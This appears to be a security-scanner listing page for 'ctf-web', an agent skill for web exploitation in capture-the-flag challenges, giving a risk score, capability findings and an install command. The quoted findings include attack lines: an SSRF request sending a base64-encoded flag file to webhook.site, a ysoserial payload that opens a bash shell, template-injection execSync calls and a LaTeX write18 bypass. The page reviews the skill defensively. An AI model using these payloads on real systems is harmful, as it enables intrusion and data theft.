← All skills
ctf-web
74 / 100 · Review before installing
Check before installing. Some of what it can do is expected: a coding skill usually runs build and test commands.
By ljagiello/ctf-skills (GitHub) · coding · 3,679 stars · scanned at commit e79be29
Provides web exploitation techniques for CTF challenges. Use when the target is primarily an HTTP application, API, browser client, template engine, identity flow, or smart-contract frontend/backend surface, including XSS, SQLi, SSTI, SSRF, XXE, JWT, auth bypass, file upload, request smuggling, OAuth/OIDC, SAML, prototype pollution, and similar web bugs. Do not use it for native binary memory corruption, reverse engineering of standalone executables, disk or memory forensics, or pure cryptanaly…
Works with any agent that supports SKILL.md skills.
What this skill can do
Downloads and installs other software
This is disclosed by the author in the skill's SKILL.md or README.
Found in 8 places.
Show 5 more
Runs commands on your computer
The author does not mention this. Expected for a coding skill.
Found in 32 places.
Show 17 more
- ctf-web/SKILL.md, line 35
go install github.com/ffuf/ffuf/v2@latest - ctf-web/SKILL.md, line 42
bash scripts/install_ctf_tools.sh pat # PAT only - ctf-web/SKILL.md, line 108
ls ctf-web/payloads/PayloadsAllTheThings 2>/dev/null | head - ctf-web/SKILL.md, line 122
[ -d "ctf-web/payloads/PayloadsAllTheThings/.git" ] || git clone --depth 1 https://github.com/swisskyrepo/PayloadsAllTheThings.git ctf-web/payloads/PayloadsAllT - ctf-web/SKILL.md, line 129
curl -sI https://target.com - ctf-web/SKILL.md, line 199
curl -X POST https://webhook.site/token - ctf-web/SKILL.md, line 207
curl -X POST https://target.com/api/report \ - ctf-web/SKILL.md, line 220
curl "https://webhook.site/token/<uuid>/request/latest/raw" \ - ctf-web/cves.md, line 140
Chain with `PYTHONWARNINGS=ignore::antigravity.Foo::0` + `BROWSER=/bin/sh -c "cat /flag" %s` for RCE. - ctf-web/cves.md, line 267
java.lang.Runtime.getRuntime().exec(["/bin/bash", "-c", "CMD"]) - ctf-web/field-notes.md, line 166
<%- global.process.mainModule.require('child_process').execSync('id') %> - ctf-web/field-notes.md, line 240
- **LaTeX restricted write18 bypass:** When `write18` is restricted, `mpost -ini "-tex=bash -c (cmd)" file.mp` uses mpost's whitelisted status to execute arbitr - ctf-web/node-and-prototype.md, line 107
const result = proc.mainModule.require("child_process").execSync("id").toString(); - ctf-web/server-side-advanced-2.md, line 111
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsBeanutils1 'bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{bash,-i}' - ctf-web/server-side-advanced-2.md, line 423
**Pattern (pdfmaker):** When `pdflatex` runs with `write18` in restricted mode (only whitelisted commands like `mpost` allowed), exploit `mpost`'s `-tex` flag t - ctf-web/server-side-advanced-2.md, line 432
\immediate\write18{mpost -ini "-tex=bash -c (cat${IFS}/flag)>out.log" "test.mp"} - ctf-web/server-side-advanced-4.md, line 331
When keywords like `child_process`, `execSync`, `mainModule` are blocked (403 response with "WAF Alert"):
and 12 more places
Sends data to these websites: target.com, webhook.site, target
This is disclosed by the author in the skill's SKILL.md or README.
Found in 247 places.
Show 17 more
- ctf-web/SKILL.md, line 145
curl "https://target.com/page?name={{config}}" - ctf-web/SKILL.md, line 148
curl -v -X POST https://target.com/api -H "Content-Type: application/json" -d '{}' - ctf-web/SKILL.md, line 199
curl -X POST https://webhook.site/token - ctf-web/SKILL.md, line 207
curl -X POST https://target.com/api/report \ - ctf-web/SKILL.md, line 212
curl "https://target.com/ssrf?url=https://webhook.site/<uuid>/?data=$(cat /flag.txt | base64)" - ctf-web/SKILL.md, line 215
curl "https://target.com/auth?redirect=https://webhook.site/<uuid>/token" - ctf-web/SKILL.md, line 220
curl "https://webhook.site/token/<uuid>/request/latest/raw" \ - ctf-web/auth-and-access-2.md, line 28
requests.post("http://target/register", - ctf-web/auth-and-access-2.md, line 31
requests.post("http://target/login", data={"name": "root", "password": "anything"}) - ctf-web/auth-and-access.md, line 139
resp=$(curl -s -X POST http://target/login -d "username=admin&password=$pwd") - ctf-web/auth-and-access.md, line 182
r = requests.post(TARGET, data=DATA, headers=HEADERS, allow_redirects=False, timeout=10) - ctf-web/auth-and-access.md, line 229
session = requests.Session() - ctf-web/auth-and-access.md, line 296
session = requests.Session() - ctf-web/auth-and-access.md, line 347
**Pre-flight for Basic Auth:** `curl -I -u test:test http://target/` — if you get 401, Basic Auth is in use. A non-401 with valid creds confirms. - ctf-web/auth-and-access.md, line 352
1. Confirm Basic Auth with: curl -I -u test:test http://target/ - ctf-web/auth-and-access.md, line 369
r = requests.get(TARGET, headers=h, allow_redirects=False, timeout=10) - ctf-web/auth-and-access.md, line 485
session = requests.Session()
and 227 more places
Reads your saved credentials, such as SSH keys or .env files
This is disclosed by the author in the skill's SKILL.md or README.
Found in 1 place.
Safer alternatives
Low-risk skills in the same category (coding) that look related. Check that one does what you need.
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'ctf-web' ] || [ -L ~/.agents/skills/'ctf-web' ]; then echo 'A skill folder named ctf-web already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/ljagiello/ctf-skills' "$d" && git -C "$d" checkout --quiet 'e79be2925d1612e8a97070d6201e300286672370' -- 'ctf-web' && mkdir -p ~/.agents/skills && cp -R "$d"/'ctf-web' ~/.agents/skills/'ctf-web' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'ctf-web' ~/.claude/skills/'ctf-web' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for ljagiello/ctf-skills shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/ljagiello/ctf-skills/)
Score history
| Date | Version | Score |
|---|
| 2026-11-11 | e79be29 | 74 |
| 2026-11-08 | 2ad85d3 | 74 |
| 2026-11-07 | 2ad85d3 | 64 |